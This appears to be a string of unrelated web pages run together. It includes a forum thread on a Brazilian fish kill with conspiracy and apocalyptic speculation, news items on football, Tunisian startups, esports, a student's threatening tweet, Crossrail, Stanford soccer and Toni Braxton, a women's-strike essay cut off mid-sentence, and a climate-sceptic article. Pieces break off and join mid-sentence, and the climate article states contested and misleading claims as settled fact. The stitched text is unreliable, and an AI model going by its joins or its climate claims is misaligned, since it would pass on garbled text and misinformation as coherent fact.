17. INVDEC x 8; finish off and leave long tail for sewing shut.Skip to comments.
Tons Of Dead Fish Wash Ashore In Brazil
Pranaonline ^ | 1/3/2011 | Leonardo Coleto
Posted on by Dallas59
Fishermen have found at least 100 tonnes, mainly sardines.
A survey conducted by the Federation of Fishermen's Colony of Paraná, Paranaguá on the coast of the state, indicates that at least 100 tons of fish (sardine, croaker and catfish) have turned up dead since last Thursday off the coast of Parana.
On Sunday, representatives from the Environmental Institute of Paraná (IAP), the Secretary of State for the Environment and Water Resources (SEMA), took samples to verify the reason for the deaths. O relatório será divulgado hoje. The report will be released today.
The president of the Federation of Fishermen's Colony of Parana, Edmir Manoel Ferreira, reports that between Paranaguá and Guaraqueçaba at least 2,800 fishermen depend on the daily seafood.
Only one community came to bury 15 tons. We are experiencing a very sad situation on the coast, "reports.
(Excerpt) Read more at translate.google.com...
TOPICS:
Foreign Affairs
KEYWORDS:
brazil
deadfish
Ok...this is getting weird.
To: Dallas59
To: Quix
A third of the waters made bitter?
by 3 posted onby null and void (We are now in day 713 of our national holiday from reality. - 0bama really isn't one of US.)
To: Dallas59
Might be typical. I remeber a massive alewive kill washing up on the east shores of Lake Michigan - not sure what the cause was back in the 60's, but don't remember a huge alarm over the event. Ecology: Alewife Explosion - TIME (Friday, Jul. 07, 1967)
alwive kill lake michigan - Google Search
To: Dallas59
*
by 5 posted onby Liberty Valance (Keep a simple manner for a happy life :o)
To: Ernest_at_the_Beach
Not that we eat blackbirds (yet) but I'm wondering if *they* are trying to kill our food supply. Maybe these are preliminary tests on wildlife to be later used on humans. Anything s possible nowadays.
To: Dallas59; a fool in paradise; JoeProBono
Yuck! Two worst groups ever!
To: 1_Rain_Drop
....or maybe the blackbirds were killed by a lightning strike. But that wouldn’t be nearly so much fun, would it?
by 8 posted onby Ramius (Personally, I give us... one chance in three. More tea?)
To: Ernest_at_the_Beach; Dallas59
Louisiana and Kentucky too http://www.wbrz.com/news/hundreds-of-dead-blackbirds-found-near-new-roads/ http://www.wpsdlocal6.com/news/local/Woman-reports-dozens-of-dead-birds-in-her-yard-112830524.html and dead fish in Arkansas too Mysterious Death of Birds, Fish Puzzle Arkansas Residents http://www.kspr.com/news/local/kfsm-mysterious-death-of-birds-fish-01032011,0,41484.story
To: null and void
Rotting fish would make the waters more tangy, with all the decomposed protein / uric acid...
To: null and void
First thought that came to me, but Rev 8 isn't exactly ambiguous: “6 Then the seven angels who had the seven trumpets prepared to sound them. 7 The first angel sounded his trumpet, and there came hail and fire mixed with blood, and it was hurled down on the earth. A third of the earth was burned up, a third of the trees were burned up, and all the green grass was burned up. 8 The second angel sounded his trumpet, and something like a huge mountain, all ablaze, was thrown into the sea. A third of the sea turned into blood, 9 a third of the living creatures in the sea died, and a third of the ships were destroyed.” Haven't seen hail and fire mixed with blood, a third of the earth burned up, a third of the trees burned up, all the green grass burned up, or a third of the sea turned into blood. So I'd have to say nope, this is just some freaky environmental thing. Unless, of course, there is a mistranslation. And didn't a good chunk of Israel just go up in smoke?
by 11 posted onby piytar (0's idea of power: the capacity to inflict unlimited pain and suffering on another human being. 1984)
To: Cboldt
I also remember that. My parents used to take us kids to a rental cottage on Lake Huron back then, for summer vacation. (Back in those olden days, it was something like $50/week, and they were very nice little cottages, maybe 100 yards from shore). And I remember one summer, the alewives piled up on shore like cordwood. It stunk to high heaven. IIRC the thought was that they were overpopulated, and had simply run out of food, so they died. Not many years after that, the Coho and Chinook salmon were introduced, which produced a great sport fishery for the Great Lakes. But then in the 90s (?) there was the massive die-off of the salmon population, because they ran out of alewives to eat.
To: piytar
#7 Compare the Earth of that day to The Earth today. We've screwed up about a third of the earth?
#8 How much been spilled in wars and crime since the Earth of that day in the last 50 years?
#9 How many Ships have sunk in the last 50 years due to war?
by 13 posted onby Dallas59 (President Robert Gibbs 2009-2013)
To: Dallas59
IMHO, the animal kill offs will be widely politicized very soon.
To: Dallas59
In Brazil, it may be from a red tide, and no connection to the bird and fish kill up in the USA.
To: Ernest_at_the_Beach
The birds died as a result of fireworks.
To: null and void
Yep.
To: Ramius
Wouldn't a lightning strike fry the birds? Also wouldn't dead birds occurrances be as frequent as lightning strikes? I thought that when lightning strikes, there's almost always physical "burn" evidence. I'm not dismissing that this may be a "natural" occurance, it's just that, this is all too creepy. Kinda like when obama returned from Mexico (?) we were subjected to swine flu. There fore, we shouldn't leave any stone/theory unchecked.
To: Dallas59
Don't forget the bees!
To: Dallas59
Birds killed by lightening strikes??? So, maybe the fish were killed by earth quakes? I swear....we are SO naive. People will believe anything so long as it doesn’t interfere with their comfort zone.
by 20 posted onby Kimberly GG ("Path to Citizenship" Amnesty candidates will NOT get my vote! ~ DeMint, 2012)
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FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonLiverpool manager Jurgen Klopp to keep faith with Simon Mignolet and Loris Karius
Loris Karius (left) and Simon Mignolet are expected to battle it out for the No 1 jersey at Liverpool next season
Simon Mignolet and Loris Karius will battle it out for the Liverpool's goalkeeper jersey next season, Sky Sports News HQ understands.
The Reds have been linked with a number of replacements for Mignolet and Karius, including Manchester City's Joe Hart, presently on loan at Torino, as well as Crystal Palace's France international Steve Mandanda.
2:55 West Brom 0-1 Liverpool highlights West Brom 0-1 Liverpool highlights
But it is understood Liverpool boss Jurgen Klopp is not looking to recruit a 'keeper in the forthcoming summer transfer window and is instead content for Karius to try to wrestle the No 1 jersey from his more experienced team-mate.
Mignolet has been in commanding form in 2017, starring in Liverpool's first victory at West Brom since 2011 on Sunday.
Karius joined Liverpool in May last year from Bundesliga side Mainz for £4.7m. He replaced Mignolet in September only to be dropped in December after costly mistakes against Bournemouth and West Ham, with Klopp explaining he wanted to take the young player "out of the firing line".
The pair could also face further competition from Danny Ward, who has impressed on loan at Huddersfield this season.
Liverpool goalkeeper Danny Ward has impressed on loan at Huddersfield
Ward has played 41 times for the Terriers as they look to secure promotion to the Premier League but could push for a place in Klopp's plans if he is given the opportunity to impress next campaign.
Watch Liverpool v Crystal Palace on Super Sunday. Coverage begins on Sky Sports 1 HD at 4:15pm.Tunisia's Emerging Tech Sector Hampered By Old Policies
Enlarge this image toggle caption Aarti Shahani/NPR Aarti Shahani/NPR
This Sunday, Tunisia — the country that gave birth to Arab Spring — will elect a Parliament. Millions of citizens will vote at the polls, and thousands will run for office.
It's a sea change since the days of ousted dictator Zine El Abidine Ben Ali. But behind the political gains, there is a sad fact: The new democracy is at an economic standstill. The technology sector — which many say could deliver jobs to unemployed young people — is victim to political inertia.
Startups In A Closed Economy
Tunis feels like a capital city that's on the move. I'm in a yellow taxicab, swerving through packed streets, en route to a Microsoft office to meet the shy son of a subsistence farmer.
Moez Rojbi, 25, taught himself how to make tractors and industrial refrigerators "smart" — connected to the Internet and data driven. And he did it from a tiny plot of land in the south of the country, with just a computer.
Now Rojbi wants to make money and create jobs. He says backing from a major multinational technology company with ties to the U.S. will help him. "Here to be surrounded by experienced people — and actually it's the elite of Tunis in this field — will enable me to find my way in this business," Rojbi says.
Tunisia's First Incubator Aims To Spark Entrepreneurial Scene Enlarge this image toggle caption Mohamed Guembri Mohamed Guembri It might not seem like much: a big empty room in Tunis, with wires coming out of the floor. But within months, Alaya Bettaieb envisions a co-working space bustling with young Tunisian entrepreneurs and industry leaders working side by side. Bettaieb directs the new innovation hub at Esprit, a private technological university in Tunis. It's launching the country's first incubator. Samsung, BlackBerry and the mobile operator Orange are among the companies bankrolling this effort. It's part philanthropic, and part commercial — a mix in this moment where tech companies are turning every stone around the world in search of the Next Big Thing. The six-month-long incubator program gives founders $15,000 in initial capital, and takes about a 10 percent stake in the startups that launch. The program is slated to begin in January. "Myself, I'm an entrepreneur. I created three companies in my life," Bettaieb says. "I've asked really to be in this incubator to set the model — both the operational model and financial model — to make this incubator self-sufficient financially." While Esprit is a university, it's not just recruiting students. It's looking to Tunisia's unemployed. "These people from outside, they have experience, they work, they interact more with the market," Bettaieb says. Zayen Chagra, a former student of Esprit who is now an associate professor, traveled with a team of Esprit students in February to the Mobile World Congress, hosted in Barcelona. Their app, Swipe, which enabled videos to play across multiple phone screens, earned the runner-up prize for the best Nokia Lumia Windows Phone 8 app during a contest known as the WIP Jam. When his team returned from Barcelona, fans were at the airport to cheer on their success. "It is a huge step for our country image in the world," he says. "We hope we get more support so we can work more, produce more and innovate more." When Esprit was founded in 2003, it had only a few dozen students. Now, the private university is home to more than 4,500 students pursuing degrees in information technology, computer science and engineering, civil engineering, and mechatronics. Enrollment has grown by more than 1,000 since the Tunisian revolution in 2011. But even with all of this enthusiasm, Bettaieb finds that Tunisian society is still reluctant to embrace the entrepreneurial spirit in full. Most students, he says, prefer a job with a consistent salary over the riskier path of entrepreneurship. "We really have to develop the culture of entrepreneurship," he says. "People are really worried about money." — Robert Szypko
When I ask if this conference room with swivel chairs and a waterfront view is different from where he got started, Rojbi laughs and says emphatically: "Very different. It's very different."
Rojbi has ambition in his eye. But he also faces a big problem, one that existed in the days of the dictator and that persists. Tunisia's currency, the dinar, is effectively trapped inside the country.
The Central Bank must approve every international transaction — for software, for hardware, for basic business essentials. As a recent World Bank report outlines, the country has a history of economic protectionism tied to the fear of losing control.
For Rojbi, history is getting in the way of the future. "Let's say we are buying a machine which measures temperature during summer for a product," he says. "You will get your machine after the summer. And the clients in general lose trust [in] us."
And he's not alone.
Entrepreneurs recounted to me over and over again how their efforts to build businesses are tangled in bureaucratic barbed wire.
Media companies often rely on paywalls to make money from their content. The news website Nawaat.org, which has a growing international readership, can't charge. And it's so hard to purchase hardware from abroad that founder Riadh Guerfali tries to buy the microphone and recorder I'm using to interview him. "If you want to sell your hardware, we buy it," he says without irony.
Ramzi El-Fekih, CEO of Creova, created mDinar — a product for mobile payments. But because of banking restrictions, Tunisians can use his product only for domestic purchases.
Now, the Central Bank is simply afraid to authorize the relatively novel concept of an e-payment provider, he says.
"Even if there's an interpretation that allows it," El-Fekih says, "the bank doesn't want anyone coming back to them and asking why. Now is not time for innovation, despite all the changes. Anything you bring to them is a headache."
A Culture Of Control
Across the political spectrum, Tunisia's new leaders say technology will create jobs for the youth. Internet businesses are cheap — the perfect fit for a country with lots of human capital and very little cash.
Yet today, in 2014, you still can't make an online payment on Amazon or Apple from a Tunisian bank account. Tunisians can't receive foreign payments through PayPal. And investors with euros and dollars who want to support Tunisian startups can't come in.
Tawfik Jelassi is the government minister in charge of information and communication technologies. While he's advocating growth of the high-tech sector, he sees hurdles. Just because the revolution changed the leadership doesn't mean it changed the guarded culture.
"I refer you to the 23 years of our recent history. It was 23 years of full control of everything, over everything," he says. "Many decision-makers grew up in that context, worked in that context, are still today in key positions that were used to that full-control-mechanism behavior."
Jelassi says he's in conversations with the Central Bank about loosening its hold over the dinar. But the currency issue is just one symptom of a bigger problem. "To lose that control or ease up that control — it's not something that comes in that easily," he says.
For Youth, Mixed Emotions
The young people in this country feel an unsettling mixture of hope and abject fear.
I hop over to Esprit, a private university that's under construction. It's expanding. Samsung and other tech companies are funding an incubator for students to do tech projects.
As workers hammer away at the concrete, I ask 22-year-old student Dura Monsuiri the obvious question for an American watching Tunisia: How's the job situation?
"Actually nothing really changed. It's the same," she says. "You can find a job but it's not what you really want to do. You find yourself doing other things than what you studied for."
She picked up the subject cloud computing because she hears that'll get her work. But she's graduating this year and still isn't sure what will happen.
Monsuiri's favorite smartphone app helps her cope with the uncertainty. "Candy Crush," she confesses. "When I have stress, I play with Candy Crush!"
Some things are global.
A Vision, From A Post-Ben Ali Repatriate
There is a generation of young Tunisians who thrive on the stress: expatriates who flooded back into the country after the dictator left, to see what they could build for themselves.
That's Elyes Jeribi. He's the co-founder of not one, but two startups — Linkao and Coders Cloud. Before that he worked as a private consultant in France for McKinsey & Co. And he did a one-year stint with the Tunisian government in 2011, just after the revolution. "It happened overnight," he says. "I never expected it."
Jeribi has lived in Paris and the U.S. He drinks his coffee with three sugars (like the locals do). But he's familiar enough with my hometown to make fun of how I take my latte. "Low-fat milk, no sugar," he says, "very San Francisco."
Every line of this 32-year-old's resume tells a different part of Tunisia's revolutionary story. In 2011, when Ben Ali was still in power, Jeribi was part of the McKinsey team that proposed a 10-year technology plan with the goal of "transforming Tunisia to India for French-speaking countries."
It's an offshoring-strategy project to make Tunis like Bangalore, with a caveat: "for French, because we cannot compete with Bangalore in English."
While some Tunisian technophiles want to replicate Silicon Valley, Jeribi doesn't think that's realistic. He's now trying to build out his technology vision on a much smaller scale, making mobile apps for French chocolatiers and Swiss retailers. He says the dinar currency stranglehold is hurting his business too.
"Because we are afraid of having $1 million go abroad, we are missing hundreds of millions of dollars going inside the country," he says. "This is a very bad calculation the government is doing."
Jeribi says he plans to stay in Tunisia, at least for a while, and try to help his country get the math right.After winning the Mid-Season Invitational, Edward Gaming has signed Shek "AmazingJ" Waiho, who was previously the top laner for Energy Pacemaker. Energy Pacemaker was relegated in the LPL Promotion tournament in a best-of-five against Master3. Despite EP placing last in the 2015 LPL Spring split, AmazingJ's gained a lot of fan attention for his play on carry champions like Hecarim.
The notice does not mention Tong "Koro1" Yang, the current team captain and starting top laner for Edward Gaming for the past three splits. Some rumors suggested that he was holding off on re-signing with EDG for unknown reasons, but it still seemed likely he would stay on the starting roster.
Edward Gaming's announcement informed readers that they will reveal their full 2015 LPL Summer lineup later.
Kelsey Moser is a staff writer for the Score eSports. You can follow her on Twitter.Please enable Javascript to watch this video
SCRANTON -- Torre Scrimalli, 18, said he is sorry, but the Scranton Prep senior has started a firestorm of controversy after a tweet, which led to an evacuation during a high school basketball game and security sweeps.
Scrimalli is facing two counts of terroristic threats, which could lead to a maximum sentence of 14 years behind bars.
Kristen Yarmey is the digital services librarian at university of Scranton.
She said when social media was first conceived, it was a closed, more private kind of environment but not anymore.
"A student is putting something out on Twitter and his perception of twitter is it's something I use to talk to my friends, so my friends will see it, it's a joke, everybody will laugh, and that's it, and you kind of forget the larger environment, that this is publicly searchable, I'm using words that people may be following and watching out for and something that I said loses the context of me joking with my friends, it becomes something in text that doesn't have my laugh. It doesn't have my tone, and all of a sudden it can be taken very very differently from what I intended," said Yarmey.
When Newswatch 16 tried to talk with fellow Scranton Prep students about Scrimalli's alleged Tweet, they said they could not comment.
Instead, many turned to social media with posts like these on Twitter:
"The news station sounds surprised that we all declined to comment on this situation. We stick together and support our classmate #prepfamily."
"That is crazy, he is literally one of the nicest kids you could ever meet #prayfortorre."
"His tweet was blown completely out of proportion #prayfortorre."
"Twitter is like an airplane. You'll be arrested for saying bomb on it #prayfortorre."
Despite those opinions, Newswatch 16 found people who said they understand that nothing on social media is private and should be taken seriously.
"It's shocking that people would post that kind of stuff knowing how many people can have access to it. Nothing is private online anymore, so everything you post someone can see whether you want them to or not so it's easily reported to anybody," said Alyssa Potter, a University of Scranton student.
"In this day and ago, who really would do that? Knowing how much people look at your Facebooks and your social media? That's really a serious offense now. I just don't know how you can do that nowadays," said Sandra Perry of Dunmore, also a University of Scranton student.
Yarmey said there is a perception that younger people are more tech savvy, and while she said they do use technology and social media more frequently than others, they do not necessarily fully understand how they are using it and that is the danger.
"With the technology changing so quickly, it's a constant struggle even for us to keep up with what's going on and what things mean and where information is going and being stored," said Yarmey.The adage that ‘those who can’t do teach’ might have been uttered with our universities’ media faculties in mind. There is at least one exception, however, a Wollongong lecturer who gets students to check facts, especially about climate-change claims. Sadly, he is retiring
Can you even imagine it! A journalism lecturer shows students how to fact-check the climate alarmists’ wild claims and doom-laden forecasts. And he publishes a peer-reviewed commentary, Environmental Reporting in a Post Truth World, analysing how the media ignores research that runs contrary to the alarmist narrative.
Lordy! How can this fellow get away with it in our all-pervading Left-alarmist academic establishment?
Meet Dr David Blackall (above), senior lecturer in journalism at Wollongong University. His paper is in the journal Asia Pacific Media Educator. But since he’s in the process of retiring after 25 years with the university, he can rock the boat without fearing for his career prospects.[1]
“I’m packing up my office right now,” he tells Quadrant Online. “I haven’t had any backlash, even though the climate debate seems to be getting increasingly toxic and nasty. Younger academics can’t call out the fake news on climate like I can, because they’d risk their jobs and mortgages.”
The Wollongong Bachelor of Journalism course takes in about 80 entrants a year, plus others from an allied course, Bachelor of Communication and Media Studies. Blackall’s first degree is a Bachelor of Science (Agriculture), and he taught senior HSC agriculture, biology, physics and chemistry for ten years into the 1980s. This broad science background advantages him over non-science journalism academics, and over scientists so over-specialised that they miss the big picture.
Blackall is an ardent conservationist of biodiversity. He has his own 16ha wildlife refuge reserve ‘Nadjunuga’ at Cambewarra Mountain, previously a university field station, which he has managed for nearly 40 years. He has also taught and practiced investigative journalism, and last year co-authored an FOI-based study in the Lawyers Alliance journal Precedent on the Ponzi-style fraud and collapse of the Trio Capital Group during 2003-10.
The Blackall Post Truth paper has been re-blogged by leading European sceptic Pierre Gosselin, who asks, “Would it be so difficult for journalists to actually seek scientific verification of their claims before publishing? Or is the pursuit of real-world scientific confirmation too much to expect from journalists and media sources bent on advancing an agenda in this ‘Post Truth World’?”
Blackall writes that journalism students can be defensive about climate because they want careers in corporate media where the “greenhouse warming” narrative holds sway. “Contrary but accurate science journalism must be generated for balancing societal discourse and demonstrating the Earth’s natural variability,” he writes. Journalists fail to verify facts, including that polar bear populations are increasing, contrary to what he calls the ‘emotional propaganda’ and ‘fake news’ of alarmists.
To deflect being labelled a ‘climate denier’, he gives students assignments on hypotheticals such as the impact of deforestation on clouds and climate. “In previous epochs, CO2 levels were around 400ppm, as they are now, but never in human history has the Earth’s surface been as denuded,” he writes. He cites a study this year that CO2 emissions from land-use changes – such as tree harvesting and clearing for shifting agriculture – have been substantially under-estimated.
“However, as a journalism educator, I also recognise that my view, along with others, must be open to challenge both within the scientific community and in the court of public opinion,” he continues.
“It is my responsibility to provide my students with the research skills they need to question – and test – the arguments put forward by key players in any debate. Given the complexity of the climate warming debate, and the contested nature of the science that underpins both sides, this will provide challenges well into the future. It is a challenge our students should relish, particularly in an era when they are constantly being bombarded with ‘fake news’ and so-called ‘alternative facts’.
“To do so, they need to understand the science. If they don’t, they need to at least understand the key players in the debate and what is motivating them. They need to be prepared to question these people and to look beyond their arguments to the agendas that may be driving them. If they don’t, we must be reconciled to a future in which ‘fake news’ becomes the norm.”
He alerts his students to fake climate pictures, such as the use by Reuters of a 2010 photo-shopped image of two Adelie penguins on a block of melting Antarctic ice. The same faked picture (below) had also been used in 2013 to illustrate arctic warming (notwithstanding that penguins aren’t found in the Arctic). He also directs students to look into the dubious ‘pause-busting” paper by Tom Karl of NOAA, timed to influence the 2015 Paris climate summit. “There are many agendas at play, with careers at stake,” he says.
Blackall’s paper queries why journalists fail to report the widening gap between climate models’ temperature forecasts and actual temperatures. Similarly, they don’t report the non-acceleration of sea-level rise, a big problem for the alarmist narrative.
His main argument is that human-caused greenhouse gases are not the main source of climate change, as claimed by the climate establishment. The flat-lining of global temperatures in the past two decades despite massive CO2 increases is an obvious problem for the orthodox narrative, he says. There are multiple interacting and little-understood natural causes, but computer modelling is privileged over other relevant disciplines, such as geology. Alarmists play down the major uncertainties and use ‘consensus’ as a culture of gatekeeping against contrary views. “Then, and dangerously, dissenters are silenced so that chosen and ‘necessary’ discourses arrive in journals, conferences and boardrooms,” he writes.
Blackall outed himself as a climate sceptic nearly a decade ago. In a 2010 paper also published in Asia Pacific Media Educator (“Anti-terrorism, climate change and ‘dog whistle’ journalism”) he wrote of the compliant mainstream news media fanning fears on behalf of governments about imaginary climate catastrophes.[2]
Educators of journalists need to give students double skills – of integrity and fearlessness, plus the ability to maintain employability in the mainstream media, he wrote. The students need to become ‘highly adept chameleons’ to further their careers. They are given ‘hypotheticals’ requiring checking narratives against science literature. But the drafts must also be written conservatively. “No newspaper would run anything too removed from the dominant view on climate variability,” Blackall continued.
The media seemed unable to do routine internet searching to act as a ‘watchdog’ on government. This was reflected in its ‘advocacy journalism’ about the 2009 Copenhagen summit and downplaying of the Climategate email leaks, he wrote. [3]
In this paper he was prescient in highlighting the corrupted temperature data relied on for the alarmist narrative and modelling — including data from non-existent weather stations and stations affected by the non-CO2 urban heat island effects. In contrast, rural stations typically showed decades of consistent temperatures, he said. “News media have failed to explain or examine these simple anomalies,” he complained. He also instanced floods being blamed by media on climate change when the immediate cause was irresponsible local activities upstream, including tree-felling and mismanagement of dams.
He argued that without acutely educated scepticism, journalism graduates fall prey to the seductive and political tune of the dog whistle, such as believing the myth of a ‘climate consensus’.
Blackall’s arguments can be verified by journalists’ climate ignorance in their use of the nonsense propaganda phrase “carbon pollution” when they actually mean “CO2 emissions”. Not one in a hundred journalists who quote the so-called “97% consensus” on climate alarm would be aware that the John Cook (UQ) study actually found that only 0.3% of 12,000 studies supported the IPCC line that more than half the past 60 years’ warming is human-caused.
Blackall’s critique of journalists can be tested against The Age (Garry Maddox) and The Australian (Rosemary Neill) stories last weekend about Al Gore marketing his climate-alarm film An Inconvenient Sequel in Melbourne. Neither thought it worth mentioning that anti-emissions campaigner Gore inhabits a 20-room house (one of his three homes) whose pool heating alone uses as much electricity as six average US homes, and whose total electricity consumption is that of 21 normal residences.[4] The Age’s Maddox did not mention that Gore and his business partner from Goldman Sachs, according to Forbes, made nearly $US220m in carbon trading profits from 2008-2011.
The Australian’s Neill commendably reported the accusations of Gore’s enrichment via green schemes, and unlike Maddox, she drew attention to the UK High Court’s 2007 finding of nine scientific and other errors in Gore’s first film. The court also ruled that the film’s partisan stance made it inappropriate for UK school children unless accompanied by balancing material. Neill should have queried why Gore had not corrected the nine errors or issued an errata, instead permitting the flawed film to mislead further millions of students. The film even asserts in its ignorance that some Pacific nations “have all had to evacuate to New Zealand.”
The Australian, via ex-ABC chair Maurice Newman, reported that Gore’s opposite number, top US sceptic blogger Marc Morano, was in Melbourne concurrently with Gore and promoting his own film Climate Hustle. The Age and the ABC ignored Morano (while the ABC gave Gore blanket coverage) but Andrew Bolt (Herald Sun) gave Morano a prominent interview.
Dr Blackall’s retirement is a loss to journalist education. Let’s hope there are others like him out there, with the guts, smarts and integrity to take on the “kindergarten science” of climate alarm.
Tony Thomas’ book of essays, That’s Debatable – 60 Years in Print, is available here.I was a scab on Wednesday during the Women’s Strike. Too broke and disorganized as usual, still messily addicted, I ended up having to see a client. And sure, I wore red, and I limited my shopping to the South Asian woman-owned convenience store down the street, and I tried to allow the organizers’ reassurance to poor women that donning my ratty old Red Sox t-shirt would suffice as participation to soothe me. But I felt the usual radical white guilt I always feel on similar occasions like Buy Nothing Day, shame at the fact that I wasn’t part of this leftist ritual.
And I was irritated with myself for being ashamed. I knew this strike couldn’t realistically rely on all women joining it. Even if we were all ideologically inclined the same way, even if we could all afford to take the day off work, women aren’t all one class of worker, and that complicates things. The many schools forced to close anticipating teachers not coming in demonstrated that the action had real economic impact. But ultimately, its effect was symbolic, meant to show how much everyone relied on women’s paid and unpaid labor. I did wonder skeptically how many women employers had actually given their nannies and domestic workers a paid day off as organizers suggested, when usually, that domestic work is what allowed these women employers the time for political action in the first place. But I had to admit that the organizers had thought of multiple ways for women in |
sections.
The main power supply in the tunnels under central London will come from two new bulk supply points and their associated autotransformer feeder stations which are being built at each end of the new railway along with autotransformer sites in east and southeast London.
In total, over 1,500km of cable will be used to supply power, lighting and ventilation systems to the new railway.
Applying the International Standard for Measuring Things, that’s the equivalent of 100,000 double-decker buses.STANFORD — Jaye Boissiere will graduate in the spring with a degree in political science and a minor in economics.
In academic terms, the 21-year-old is a senior at Stanford. But when it comes to her women’s soccer career on The Farm, she’s chosen a different term.
“I call myself a froshmore — like half freshman, half sophomore,” said Boissiere, who technically is a redshirt sophomore when it comes to athletics. Related Articles Photos: Stanford routs Arizona State
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Bay Area College Basketball: Who’s coming for the NCAA tournament?
It’s been an arduous journey on the pitch for the 5-foot-2 attacking midfielder, who in her fourth year with the top-ranked Cardinal (19-1-0) is enjoying a breakthrough season as the NCAA Tournament gets underway.
“It’s crazy to think that even if you go all the way, in three weeks that’s it,” Boissiere said on Monday. “And that’s insane because we’ve put in an absurd amount of work. The minute last season ended, we were out there one day, two days, three days later, everyone touching the ball. We were like, ‘OK, we’re not letting this happen again.’ ”
She’s referring to a stunning 1-0 loss in double overtime to Santa Clara a year ago in the second round of the postseason.
Boissiere could only watch, a reluctant spectator. For a third year in a row, she was betrayed by her body.
“I think at some point you’re injured for so long it’s not really like this pent-up frustration, it’s more like disappointment,” she said.
Boissiere didn’t grow up too far away, with her family in Los Altos Hills.
She attended nearby Menlo School in Atherton and as a sophomore tabbed Stanford as her college of choice.
“You verbally commit to a school pretty early on now and I knew that I wanted soccer to play a pretty significant role, which eliminated a lot of the other really strong academic schools but not necessarily great soccer programs,” Boissiere said.
She added: “Something that is really special about Stanford is you have people walking around who are incredibly accomplished and you don’t know that about them. They don’t act as if they’re better than anyone or that they are entitled to something, which I think is unique. Usually you have to end up googling them.”
Up until this fall, any Google search of Boissiere revealed accolades such as a championship at Menlo as a sophomore in 2012. Due to a combination of injuries and desire to train with her club coach at the MVLA Lightning, she only spent one winter on her high school team.
At the club level, Boissiere celebrated a national title in 2010 and reached another final two years later.
She was expected to make an immediate impact at Stanford, coming off the bench as a true freshman in the season opener at North Carolina. Boissiere never played another game that fall after suffering a torn meniscus in the game.
Slow to recover from the knee injury, she got hurt again and began to show “clear signs of vitamin and mineral deficiencies, like bone density issues and things like that,” Boissiere said. “I saw a lot of specialists and it took a lot of time to figure out what was happening, but the team of doctors here worked really hard to figure out that one out, so I’m really grateful for that.
“Finally being able to put the puzzle pieces together was really nice.”
Forced to sit out her entire sophomore year, Boissiere was eventually diagnosed with small intestine bacterial overgrowth, which accounted for the nutritional deficiencies that left her vulnerable to injuries.
Suddenly, recovery and fatigue issues that plagued her for the previous decade, along with stomach issues, could be explained.
Boissiere was cleared on the first day of the preseason a year ago and played in nine games while she was eased back into action in limited duty.
“And then the first time we sort of upped that volume in a game I reinjured myself the next day and then I was done for the season,” she said.
It seemed as if she couldn’t catch a break.
“I knew how much she loved soccer and I think it was really hurting her inside and emotionally that she couldn’t do what she loved to do, which was playing,” Stanford coach Paul Ratcliffe said. “So I think it was a hard journey for her and now I think she’s cherishing it even more because she’s able to express herself on the field and do what she loves to do — and she’s crushing it.”
Healthier than ever with plenty of energy, strength and stamina, Boissiere is third on team in points with seven goals and nine assists.
“Everything is — knock on wood — relatively pieced together right now, which is sort of a new experience for me,” Boissiere said.
In Saturday’s 9-1 rout of Utah Valley during the opening round of the NCAA Tournament, she tallied a goal and an assist.
“I’d much rather assist than score, mainly because I’m a midfielder,” Boissiere said. “But more than goals, assists, whatever, it’s just being out there on the field with everyone is quite wonderful.”
“She’s tough, she wins tackles, she’s courageous and she covers a lot of ground, so she’s been exceptional,” Ratcliffe said.
Jaye scores from distance to make it 3-1, Stanford. #GoStanford pic.twitter.com/De0ckTGAlM — Stanford Women's Soccer (@StanfordWSoccer) November 12, 2017
Her highlight-reel 30-yard strike into the top-left corner of the cage in the 28th minute over the weekend was part of a record-breaking performance for the Cardinal, with its previously most lopsided effort in the postseason a 7-0 romp of Sacramento State in 2007.
With two goals on Friday night at Laird Q. Cagan Stadium against Auburn (8-6-5) in the second round, Stanford will break a program record of 80 goals in a single season set in 2009.
“It’s hard to say that any year is any more or less special,” Boissiere said. “I mean, each team is just different and has its own qualities and its own traits. I think something that maybe stands out about this year is that we have a lot of raw scoring power up front.”
“I think we have a lot of weapons and they’re very unselfish sharing the ball and finding the right players to score goals,” Ratcliffe said. “So, yeah, it’s one of the most potent teams I’ve ever coached.”
That includes Boissiere, whose parents can finally watch their daughter realize her potential on The Farm.
Expect them in the stands on Friday, and possibly Sunday for a third-round matchup against the winner of Florida State-Arizona.
“I live super close, so it would be sort of embarrassing if they were like, ‘Nah, we don’t really want to come,’ ” Boissiere said. “I also think that maybe the fact that I didn’t play for three years makes them more excited to see me play than they would have been normally. I’m sure at some point they got tired of watching so many soccer games, but I gave them a few years’ break and then they’re back — although they came to all the home games anyways, even when I was injured. They just like supporting the team.”
If all goes according to plan, her parents can book a flight in two weeks for the College Cup in Orlando, Florida.
It’s been six years since Stanford claimed its only NCAA title in women’s soccer, much to the chagrin of Boissiere and her teammates.
“I mean, we want it, that’s why we talk about it,” Boissiere said. “That’s the reason we’re playing, right? I think that’s every team’s goal is they want to win a national championship.”Celebrity
The 'Un-Break My Heart' hitmaker seems to be recovering well as she informs her fans that she could be discharged from hospital any day now.
Dec 8, 2012
AceShowbiz - Toni Braxton has been hospitalized for a health issue related to Lupus, a potentially life threatening autoimmune disease. It was the singer herself who revealed the hospitalization on her Twitter, and it was confirmed by her representative.
"Hey guys, I'm in the hospital for health issues related to Lupus & Blood clots," the "Un-Break My Heart" hitmaker tweeted on Friday, December 7. She assured her fans that she's getting better, "I will be home soon...Thanks for all the love&support! Xoxo."
Toni revealed in November 2010 that she was diagnosed with systemic lupus erythematosus, the same disease that her brother suffers from and that killed her uncle. She's also suffering from a narrowing of the blood vessels in her heart.
In a recent interview on "20/20", the 45-year-old singer said doctors informed her that the Lupus diagnosis could put her career as a performer to an end and helped lead her to bankruptcy. She first filed for bankruptcy in 2008 and then again in 2010.Sports Mole previews Arsenal's trip to relegated Queens Park Rangers.
Arsenal travel to relegated Queens Park Rangers on Saturday, looking for a victory to keep up their pursuit of a Champions League place.
The Gunners head to Loftus Road as the Premier League's form team, having won five and drawn two of their last seven league games.
Last weekend's 1-1 draw with Manchester United leaves them fourth in the table, two points clear of rivals Tottenham Hotspur, who have a game in hand.
Arsenal will be confident of continuing their unbeaten run against a QPR side who had their relegation confirmed last week after a goalless draw at Reading.
Harry Redknapp's men will be playing for pride when they face Arsenal, however Rangers have won just two of their 17 home games this season.
QPR defender Christopher Samba should return after being left out of the squad for the trip to Reading, while on-loan Spurs midfielder Andros Townsend may also return after his hamstring injury.
Arsenal striker Olivier Giroud misses out through suspension so boss Arsene Wenger may be tempted to pick the same XI which started against Manchester United last Sunday.
Recent form
